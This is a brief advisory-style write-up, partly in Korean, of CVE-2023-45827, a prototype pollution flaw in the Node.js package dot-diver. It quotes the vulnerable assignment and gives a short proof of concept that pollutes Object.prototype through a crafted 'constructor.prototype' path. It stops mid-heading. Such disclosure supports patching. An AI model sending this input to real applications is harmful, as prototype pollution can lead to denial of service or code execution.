CVE-2023-45827

취약점 개요

• CVE-2023-45827

• CVSS : 9.8

• Nov 3, 2023

• ProtoType Pollution in node.js package

• rebob 프로젝트의 일환

취약점 설명

github advisories

This is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.

vulnerable code

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value

poc

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.

target package